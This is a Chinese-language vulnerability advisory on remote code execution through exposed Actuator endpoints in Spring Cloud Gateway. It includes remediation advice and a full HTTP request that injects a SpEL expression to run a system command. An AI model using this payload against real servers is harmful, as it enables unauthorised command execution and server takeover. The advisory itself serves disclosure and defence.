概述
风险等级:高
缺陷描述:
使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。
危害描述:
利用该漏洞获取服务器权限,实现远程代码执行。
漏洞复现
发送以下请求以添加包含恶意 SpEL 表达式的路由器hacktest6,响应包状态码为201,如图所示:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新网关,响应包状态码为200,配置生效,如图所示:
发送以下请求以检索结果,新增的路由器hacktest6,成功执行系统命令,如图所示:
修复建议
1.官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway。
2.引入 security 依赖,打开安全限制并进行身份验证;同时设置单独的 Actuator 管理端口并配置不对外网开放。
注:该文章仅限技术学习